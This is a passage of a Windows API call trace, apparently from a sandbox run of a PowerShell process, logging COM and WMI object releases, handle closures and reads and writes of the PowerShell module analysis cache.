[1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14f060 | out: ppvObject=0x14f060*=0x49fac4) returned 0x0 [0143.185] IComThreadingInfo:GetCurrentThreadType (in: This=0x49fac4, pThreadType=0x14f08c | out: pThreadType=0x14f08c*=0) returned 0x0 [0143.185] IUnknown:Release (This=0x49fac4) returned 0x1 [0143.190] CoGetContextToken (in: pToken=0x14f03c | out: pToken=0x14f03c) returned 0x0 [0143.190] IUnknown:QueryInterface (in: This=0x49fab8, riid=0x7135b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14f060 | out: ppvObject=0x14f060*=0x49fac4) returned 0x0 [0143.190] IComThreadingInfo:GetCurrentThreadType (in: This=0x49fac4, pThreadType=0x14f08c | out: pThreadType=0x14f08c*=0) returned 0x0 [0143.190] IUnknown:Release (This=0x49fac4) returned 0x1 [0143.235] CoGetContextToken (in: pToken=0x14f03c | out: pToken=0x14f03c) returned 0x0 [0143.235] IUnknown:QueryInterface (in: This=0x49fab8, riid=0x7135b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14f060 | out: ppvObject=0x14f060*=0x49fac4) returned 0x0 [0143.235] IComThreadingInfo:GetCurrentThreadType (in: This=0x49fac4, pThreadType=0x14f08c | out: pThreadType=0x14f08c*=0) returned 0x0 [0143.235] IUnknown:Release (This=0x49fac4) returned 0x1 [0143.292] CoGetContextToken (in: pToken=0x14f05c | out: pToken=0x14f05c) returned 0x0 [0143.292] IUnknown:QueryInterface (in: This=0x49fab8, riid=0x7135b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14f080 | out: ppvObject=0x14f080*=0x49fac4) returned 0x0 [0143.292] IComThreadingInfo:GetCurrentThreadType (in: This=0x49fac4, pThreadType=0x14f0ac | out: pThreadType=0x14f0ac*=0) returned 0x0 [0143.292] IUnknown:Release (This=0x49fac4) returned 0x1 [0143.338] CoUninitialize () Thread: id = 18 os_tid = 0xf68 Thread: id = 22 os_tid = 0xf78 [0115.178] RegCloseKey (hKey=0x360) returned 0x0 [0118.830] CloseHandle (hObject=0x3e8) returned 1 [0118.830] CloseHandle (hObject=0x3c8) returned 1 [0118.830] CloseHandle (hObject=0x3ec) returned 1 [0118.830] CloseHandle (hObject=0x3f4) returned 1 [0118.830] CloseHandle (hObject=0x3f0) returned 1 [0131.344] CoGetContextToken (in: pToken=0x1f7f6c4 | out: pToken=0x1f7f6c4) returned 0x0 [0131.344] CoGetContextToken (in: pToken=0x1f7f648 | out: pToken=0x1f7f648) returned 0x0 [0131.344] WbemDefPath:IUnknown:Release (This=0x4da5f0) returned 0x1 [0131.344] WbemDefPath:IUnknown:Release (This=0x4da5f0) returned 0x0 [0131.344] CoGetContextToken (in: pToken=0x1f7f648 | out: pToken=0x1f7f648) returned 0x0 [0131.344] WbemDefPath:IUnknown:Release (This=0x4da660) returned 0x1 [0131.344] WbemDefPath:IUnknown:Release (This=0x4da660) returned 0x0 [0131.344] CoGetContextToken (in: pToken=0x1f7f648 | out: pToken=0x1f7f648) returned 0x0 [0131.344] WbemDefPath:IUnknown:Release (This=0x4da6d0) returned 0x1 [0131.344] WbemDefPath:IUnknown:Release (This=0x4da6d0) returned 0x0 [0131.344] CoGetContextToken (in: pToken=0x1f7f648 | out: pToken=0x1f7f648) returned 0x0 [0131.344] WbemDefPath:IUnknown:Release (This=0x4da740) returned 0x1 [0131.344] WbemDefPath:IUnknown:Release (This=0x4da740) returned 0x0 [0131.344] CoGetContextToken (in: pToken=0x1f7f648 | out: pToken=0x1f7f648) returned 0x0 [0131.344] WbemDefPath:IUnknown:Release (This=0x4da7b0) returned 0x1 [0131.345] WbemDefPath:IUnknown:Release (This=0x4da7b0) returned 0x0 [0131.345] CoGetContextToken (in: pToken=0x1f7f648 | out: pToken=0x1f7f648) returned 0x0 [0131.345] WbemDefPath:IUnknown:Release (This=0x4da820) returned 0x1 [0131.345] WbemDefPath:IUnknown:Release (This=0x4da820) returned 0x0 [0131.345] CoGetContextToken (in: pToken=0x1f7f648 | out: pToken=0x1f7f648) returned 0x0 [0131.345] WbemDefPath:IUnknown:Release (This=0x4da890) returned 0x1 [0131.345] WbemDefPath:IUnknown:Release (This=0x4da890) returned 0x0 [0131.345] CoGetContextToken (in: pToken=0x1f7f648 | out: pToken=0x1f7f648) returned 0x0 [0131.345] WbemDefPath:IUnknown:Release (This=0x4da9e0) returned 0x1 [0131.345] WbemDefPath:IUnknown:Release (This=0x4da9e0) returned 0x0 [0131.345] CoGetContextToken (in: pToken=0x1f7f648 | out: pToken=0x1f7f648) returned 0x0 [0131.345] WbemDefPath:IUnknown:Release (This=0x4daa50) returned 0x1 [0131.345] WbemDefPath:IUnknown:Release (This=0x4daa50) returned 0x0 [0131.345] CoGetContextToken (in: pToken=0x1f7f648 | out: pToken=0x1f7f648) returned 0x0 [0131.345] WbemDefPath:IUnknown:Release (This=0x4daac0) returned 0x1 [0131.345] WbemDefPath:IUnknown:Release (This=0x4daac0) returned 0x0 [0131.345] CoGetContextToken (in: pToken=0x1f7f6c4 | out: pToken=0x1f7f6c4) returned 0x0 [0131.345] CoGetContextToken (in: pToken=0x1f7f648 | out: pToken=0x1f7f648) returned 0x0 [0131.345] WbemLocator:IUnknown:Release (This=0x4f35c68) returned 0x1 [0131.345] WbemLocator:IUnknown:Release (This=0x4f35c68) returned 0x0 [0131.346] CoGetContextToken (in: pToken=0x1f7f6c4 | out: pToken=0x1f7f6c4) returned 0x0 [0131.346] IUnknown:QueryInterface (in: This=0x49fc28, riid=0x71478ae0*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1f7f664 | out: ppvObject=0x1f7f664*=0x49fc38) returned 0x0 [0131.346] CObjectContext::ContextCallback () returned 0x0 [0136.883] IUnknown:Release (This=0x49fc38) returned 0x1 [0136.883] IUnknown:Release (This=0x4f4ad10) returned 0x0 [0136.884] CloseHandle (hObject=0x500) returned 1 [0136.884] CloseHandle (hObject=0x4fc) returned 1 [0136.884] CloseHandle (hObject=0x4f8) returned 1 [0136.884] CloseHandle (hObject=0x4f4) returned 1 [0136.884] CloseHandle (hObject=0x4f0) returned 1 [0136.885] CloseHandle (hObject=0x4ec) returned 1 [0136.885] CloseHandle (hObject=0x4e8) returned 1 [0136.885] CloseHandle (hObject=0x4e4) returned 1 [0136.885] CloseHandle (hObject=0x4e0) returned 1 [0136.885] CloseHandle (hObject=0x4dc) returned 1 [0136.885] CloseHandle (hObject=0x4d8) returned 1 [0136.886] CloseHandle (hObject=0x4d4) returned 1 [0136.886] CloseHandle (hObject=0x564) returned 1 [0136.886] CloseHandle (hObject=0x410) returned 1 [0143.186] EtwEventUnregister () returned 0x0 [0143.186] EtwEventUnregister () returned 0x0 [0143.186] EtwEventUnregister () returned 0x0 [0143.186] EtwEventUnregister () returned 0x0 [0143.186] EtwEventUnregister () returned 0x0 [0143.186] EtwEventUnregister () returned 0x0 [0143.186] EtwEventUnregister () returned 0x0 [0143.186] EtwEventUnregister () returned 0x0 [0143.188] LocalFree (hMem=0x4d3128) returned 0x0 [0143.188] LocalFree (hMem=0x4d30a0) returned 0x0 [0143.192] IUnknown:Release (This=0x4f6dd48) returned 0x0 [0143.192] IUnknown:Release (This=0x4f480a0) returned 0x0 [0143.192] IUnknown:Release (This=0x4f45678) returned 0x0 [0143.193] IUnknown:Release (This=0x4f432d8) returned 0x0 [0143.193] IUnknown:Release (This=0x4f365b0) returned 0x0 [0143.193] IUnknown:Release (This=0x507f00) returned 0x0 [0143.193] IUnknown:Release (This=0x4f4cbf0) returned 0x0 [0143.196] EtwEventUnregister () returned 0x0 [0143.198] IUnknown:Release (This=0x4f387a8) returned 0x0 [0143.202] CloseHandle (hObject=0x2d4) returned 1 [0143.204] CloseHandle (hObject=0x3f8) returned 1 [0143.204] CloseHandle (hObject=0x404) returned 1 [0143.204] CloseHandle (hObject=0x3c0) returned 1 [0143.205] CloseHandle (hObject=0x4c8) returned 1 [0143.205] CloseHandle (hObject=0x40c) returned 1 [0143.205] CloseHandle (hObject=0x408) returned 1 [0143.206] CloseHandle (hObject=0x35c) returned 1 [0143.206] CloseHandle (hObject=0x358) returned 1 [0143.206] CloseHandle (hObject=0x354) returned 1 [0143.206] CloseHandle (hObject=0x350) returned 1 [0143.206] CloseHandle (hObject=0x34c) returned 1 [0143.207] CloseHandle (hObject=0x348) returned 1 [0143.207] CloseHandle (hObject=0x344) returned 1 [0143.207] CloseHandle (hObject=0x340) returned 1 [0143.207] CloseHandle (hObject=0x33c) returned 1 [0143.207] CloseHandle (hObject=0x338) returned 1 [0143.208] CloseHandle (hObject=0x330) returned 1 [0143.208] CloseHandle (hObject=0x2cc) returned 1 [0143.208] CloseHandle (hObject=0x324) returned 1 [0143.209] CloseHandle (hObject=0x584) returned 1 [0143.209] CloseHandle (hObject=0x580) returned 1 [0143.209] CloseHandle (hObject=0x57c) returned 1 [0143.209] CloseHandle (hObject=0x578) returned 1 [0143.209] CloseHandle (hObject=0x574) returned 1 [0143.210] CloseHandle (hObject=0x3cc) returned 1 [0143.210] LocalFree (hMem=0x53ff50) returned 0x0 [0143.210] UnmapViewOfFile (lpBaseAddress=0x2010000) returned 1 [0143.211] CloseHandle (hObject=0x508) returned 1 [0143.212] CloseHandle (hObject=0x4d4) returned 1 [0143.212] CloseHandle (hObject=0x4cc) returned 1 [0143.212] CloseHandle (hObject=0x4d0) returned 1 [0143.230] CloseHandle (hObject=0x4bc) returned 1 [0143.230] CloseHandle (hObject=0x564) returned 1 [0143.231] CloseHandle (hObject=0x410) returned 1 [0143.231] CloseHandle (hObject=0x464) returned 1 [0143.231] CloseHandle (hObject=0x454) returned 1 [0143.231] CloseHandle (hObject=0x56c) returned 1 [0143.232] CloseHandle (hObject=0x4b8) returned 1 [0143.232] CloseHandle (hObject=0x4c0) returned 1 [0143.232] CloseHandle (hObject=0x5b0) returned 1 [0143.233] DeregisterEventSource (hEventLog=0x4e80004) returned 1 [0143.276] CloseHandle (hObject=0x558) returned 1 [0143.277] CloseHandle (hObject=0x550) returned 1 [0143.277] CloseHandle (hObject=0xf) returned 1 [0143.278] CloseHandle (hObject=0x5ac) returned 1 [0143.278] CloseHandle (hObject=0x5a8) returned 1 [0143.279] CloseHandle (hObject=0x5a4) returned 1 [0143.279] CloseHandle (hObject=0x554) returned 1 [0143.279] CloseHandle (hObject=0x4f8) returned 1 [0143.279] CloseHandle (hObject=0x5a0) returned 1 [0143.280] CloseHandle (hObject=0x568) returned 1 [0143.280] CloseHandle (hObject=0x548) returned 1 [0143.280] CloseHandle (hObject=0x540) returned 1 [0143.281] CloseHandle (hObject=0x588) returned 1 [0143.281] CloseHandle (hObject=0x228) returned 1 [0143.282] LocalFree (hMem=0x4f1d7b0) returned 0x0 [0143.282] CloseHandle (hObject=0x4f4) returned 1 [0143.282] CloseHandle (hObject=0x4f0) returned 1 [0143.283] RegCloseKey (hKey=0x80000004) returned 0x0 [0143.283] CloseHandle (hObject=0x4ec) returned 1 [0143.283] CloseHandle (hObject=0x4e8) returned 1 [0143.284] CloseHandle (hObject=0x4e4) returned 1 [0143.284] CloseHandle (hObject=0x59c) returned 1 [0143.284] CloseHandle (hObject=0x598) returned 1 [0143.285] CoGetContextToken (in: pToken=0x1f7f304 | out: pToken=0x1f7f304) returned 0x0 [0143.285] CoGetContextToken (in: pToken=0x1f7f288 | out: pToken=0x1f7f288) returned 0x0 [0143.285] WbemDefPath:IUnknown:Release (This=0x4da580) returned 0x1 [0143.286] WbemDefPath:IUnknown:Release (This=0x4da580) returned 0x0 [0143.286] CoGetContextToken (in: pToken=0x1f7f288 | out: pToken=0x1f7f288) returned 0x0 [0143.286] WbemDefPath:IUnknown:Release (This=0x4f6a278) returned 0x1 [0143.286] WbemDefPath:IUnknown:Release (This=0x4f6a278) returned 0x0 [0143.286] CoGetContextToken (in: pToken=0x1f7f288 | out: pToken=0x1f7f288) returned 0x0 [0143.286] WbemDefPath:IUnknown:Release (This=0x4da7b0) returned 0x1 [0143.286] WbemDefPath:IUnknown:Release (This=0x4da7b0) returned 0x0 [0143.286] CoGetContextToken (in: pToken=0x1f7f288 | out: pToken=0x1f7f288) returned 0x0 [0143.286] WbemDefPath:IUnknown:Release (This=0x4da9e0) returned 0x1 [0143.286] WbemDefPath:IUnknown:Release (This=0x4da9e0) returned 0x0 [0143.286] CoGetContextToken (in: pToken=0x1f7f288 | out: pToken=0x1f7f288) returned 0x0 [0143.286] WbemDefPath:IUnknown:Release (This=0x4da6d0) returned 0x1 [0143.286] WbemDefPath:IUnknown:Release (This=0x4da6d0) returned 0x0 [0143.286] CoGetContextToken (in: pToken=0x1f7f288 | out: pToken=0x1f7f288) returned 0x0 [0143.287] WbemDefPath:IUnknown:Release (This=0x4da900) returned 0x1 [0143.287] WbemDefPath:IUnknown:Release (This=0x4da900) returned 0x0 [0143.287] CoGetContextToken (in: pToken=0x1f7f288 | out: pToken=0x1f7f288) returned 0x0 [0143.287] WbemDefPath:IUnknown:Release (This=0x4da5f0) returned 0x1 [0143.287] WbemDefPath:IUnknown:Release (This=0x4da5f0) returned 0x0 [0143.287] CoGetContextToken (in: pToken=0x1f7f288 | out: pToken=0x1f7f288) returned 0x0 [0143.287] WbemDefPath:IUnknown:Release (This=0x4dac10) returned 0x1 [0143.287] WbemDefPath:IUnknown:Release (This=0x4dac10) returned 0x0 [0143.287] CoGetContextToken (in: pToken=0x1f7f288 | out: pToken=0x1f7f288) returned 0x0 [0143.287] WbemDefPath:IUnknown:Release (This=0x4da820) returned 0x1 [0143.287] WbemDefPath:IUnknown:Release (This=0x4da820) returned 0x0 [0143.287] CoGetContextToken (in: pToken=0x1f7f288 | out: pToken=0x1f7f288) returned 0x0 [0143.287] WbemDefPath:IUnknown:Release (This=0x4da740) returned 0x1 [0143.287] WbemDefPath:IUnknown:Release (This=0x4da740) returned 0x0 [0143.288] CoGetContextToken (in: pToken=0x1f7f288 | out: pToken=0x1f7f288) returned 0x0 [0143.288] WbemDefPath:IUnknown:Release (This=0x4da430) returned 0x1 [0143.288] WbemDefPath:IUnknown:Release (This=0x4da430) returned 0x0 [0143.288] CoGetContextToken (in: pToken=0x1f7f288 | out: pToken=0x1f7f288) returned 0x0 [0143.288] WbemDefPath:IUnknown:Release (This=0x4dab30) returned 0x1 [0143.288] WbemDefPath:IUnknown:Release (This=0x4dab30) returned 0x0 [0143.288] CoGetContextToken (in: pToken=0x1f7f288 | out: pToken=0x1f7f288) returned 0x0 [0143.288] WbemDefPath:IUnknown:Release (This=0x4da660) returned 0x1 [0143.288] WbemDefPath:IUnknown:Release (This=0x4da660) returned 0x0 [0143.288] CoGetContextToken (in: pToken=0x1f7f288 | out: pToken=0x1f7f288) returned 0x0 [0143.288] WbemDefPath:IUnknown:Release (This=0x4daba0) returned 0x1 [0143.288] WbemDefPath:IUnknown:Release (This=0x4daba0) returned 0x0 [0143.288] CoGetContextToken (in: pToken=0x1f7f288 | out: pToken=0x1f7f288) returned 0x0 [0143.288] WbemDefPath:IUnknown:Release (This=0x4da890) returned 0x1 [0143.288] WbemDefPath:IUnknown:Release (This=0x4da890) returned 0x0 [0143.289] CoGetContextToken (in: pToken=0x1f7f304 | out: pToken=0x1f7f304) returned 0x0 [0143.289] CoGetContextToken (in: pToken=0x1f7f288 | out: pToken=0x1f7f288) returned 0x0 [0143.289] WbemLocator:IUnknown:Release (This=0x514d00) returned 0x4 [0143.290] CoReleaseMarshalData (pStm=0x4f0e1e8) returned 0x0 [0143.291] WbemLocator:IUnknown:Release (This=0x514d00) returned 0x3 [0143.291] WbemLocator:IUnknown:Release (This=0x514d00) returned 0x2 [0143.291] WbemLocator:IUnknown:Release (This=0x514d00) returned 0x1 [0143.291] WbemLocator:IUnknown:Release (This=0x514d00) returned 0x0 [0143.337] IUnknown:Release (This=0x49fab8) returned 0x0 Thread: id = 25 os_tid = 0xf84 Thread: id = 26 os_tid = 0xf88 [0136.194] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache")) returned 0x2020 [0136.194] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0136.194] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x52, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x51 [0136.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x43def40) returned 1 [0136.194] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), fInfoLevelId=0x0, lpFileInformation=0x23ef8f0 | out: lpFileInformation=0x23ef8f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa18da600, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0xa18da600, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x3bf71040, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x3606)) returned 1 [0136.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x43def3c) returned 1 [0136.195] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0136.195] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x52, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x51 [0136.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x43df0c4) returned 1 [0136.196] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x568 [0136.196] GetFileType (hFile=0x568) returned 0x1 [0136.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x43df0c0) returned 1 [0136.196] GetFileType (hFile=0x568) returned 0x1 [0136.196] ReadFile (in: hFile=0x568, lpBuffer=0x23efe40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x43df138, lpOverlapped=0x0 | out: lpBuffer=0x23efe40*, lpNumberOfBytesRead=0x43df138*=0x1000, lpOverlapped=0x0) returned 1 [0136.203] ReadFile (in: hFile=0x568, lpBuffer=0x23efa14, nNumberOfBytesToRead=0x6, lpNumberOfBytesRead=0x43df140, lpOverlapped=0x0 | out: lpBuffer=0x23efa14*, lpNumberOfBytesRead=0x43df140*=0x6, lpOverlapped=0x0) returned 1 [0136.203] ReadFile (in: hFile=0x568, lpBuffer=0x23efe40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x43df140, lpOverlapped=0x0 | out: lpBuffer=0x23efe40*, lpNumberOfBytesRead=0x43df140*=0x1000, lpOverlapped=0x0) returned 1 [0136.204] ReadFile (in: hFile=0x568, lpBuffer=0x23efa0d, nNumberOfBytesToRead=0x3, lpNumberOfBytesRead=0x43df12c, lpOverlapped=0x0 | out: lpBuffer=0x23efa0d*, lpNumberOfBytesRead=0x43df12c*=0x3, lpOverlapped=0x0) returned 1 [0136.204] ReadFile (in: hFile=0x568, lpBuffer=0x23efe40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x43df140, lpOverlapped=0x0 | out: lpBuffer=0x23efe40*, lpNumberOfBytesRead=0x43df140*=0x1000, lpOverlapped=0x0) returned 1 [0136.205] ReadFile (in: hFile=0x568, lpBuffer=0x23efa17, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x43df140, lpOverlapped=0x0 | out: lpBuffer=0x23efa17*, lpNumberOfBytesRead=0x43df140*=0x5, lpOverlapped=0x0) returned 1 [0136.205] ReadFile (in: hFile=0x568, lpBuffer=0x23efe40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x43df140, lpOverlapped=0x0 | out: lpBuffer=0x23efe40*, lpNumberOfBytesRead=0x43df140*=0x5f8, lpOverlapped=0x0) returned 1 [0136.205] GetEnvironmentVariableW (in: lpName="PSDisableModuleAnalysisCacheCleanup", lpBuffer=0x43def50, nSize=0xee | out: lpBuffer="") returned 0x0 [0136.206] CloseHandle (hObject=0x568) returned 1 [0136.207] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0136.207] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x52, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x51 [0136.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x43df12c) returned 1 [0136.208] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x568 [0136.209] GetFileType (hFile=0x568) returned 0x1 [0136.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x43df128) returned 1 [0136.209] GetFileType (hFile=0x568) returned 0x1 [0136.220] WriteFile (in: hFile=0x568, lpBuffer=0x2400d8c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x43df1b0, lpOverlapped=0x0 | out: lpBuffer=0x2400d8c*, lpNumberOfBytesWritten=0x43df1b0*=0x1000, lpOverlapped=0x0) returned 1 [0136.221] WriteFile (in: hFile=0x568, lpBuffer=0x2400d8c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x43df1b0, lpOverlapped=0x0 | out: lpBuffer=0x2400d8c*, lpNumberOfBytesWritten=0x43df1b0*=0x1000, lpOverlapped=0x0) returned 1 [0136.222] WriteFile (in: hFile=0x568, lpBuffer=0x2400d8c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x43df1b0, lpOverlapped=0x0 | out: lpBuffer=0x2400d8c*, lpNumberOfBytesWritten=0x43df1b0*=0x1000, lpOverlapped=0x0) returned 1 [0136.222] WriteFile (in: hFile=0x568, lpBuffer=0x2400d8c*, nNumberOfBytesToWrite=0x606, lpNumberOfBytesWritten=0x43df19c, lpOverlapped=0x0 | out: lpBuffer=0x2400d8c*, lpNumberOfBytesWritten=0x43df19c*=0x606, lpOverlapped=0x0) returned 1 [0136.222] CloseHandle (hObject=0x568) returned 1 [0136.223] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0136.223] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x52, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x51 [0136.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x43def40) returned 1 [0136.223] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), fInfoLevelId=0x0, lpFileInformation=0x2406f00 | out: lpFileInformation=0x2406f00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa18da600, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0xa18da600, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x3dcbff20, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x3606)) returned 1 [0136.223] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x43def3c) returned 1 Thread: id = 27 os_tid = 0xf8c Thread: id = 34 os_tid = 0xfa8 Thread: id = 35 os_tid = 0xfac [0112.590] CoCreateGuid (in: pguid=0x443efe0 | out: pguid=0x443efe0*(Data1=0xc98f075c, Data2=0x7c63, Data3=0x4a38, Data4=([0]=0xa3, [1]=0x51, [2]=0x3c, [3]=0x1a, [4]=0x6e, [5]=0xa, [6]=0xe6, [7]=0xaa))) returned 0x0 [0127.838] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics\\microsoft.powershell.diagnostics.psd1")) returned 0x20 [0127.839] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1")) returned 0x20 [0127.839] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack\\TroubleshootingPack.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\troubleshootingpack\\troubleshootingpack.psd1")) returned 0x20 [0127.839] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1")) returned 0x20 [0127.839] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer\\bitstransfer.psd1")) returned 0x20 [0127.839] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflow\\PSWorkflow.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psworkflow\\psworkflow.psd1")) returned 0xffffffff [0127.839] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils\\microsoft.powershell.odatautils.psd1")) returned 0x20 [0127.840] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflowUtility\\PSWorkflowUtility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psworkflowutility\\psworkflowutility.psd1")) returned 0xffffffff [0127.840] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics\\PSDiagnostics.psd1" (normalized: 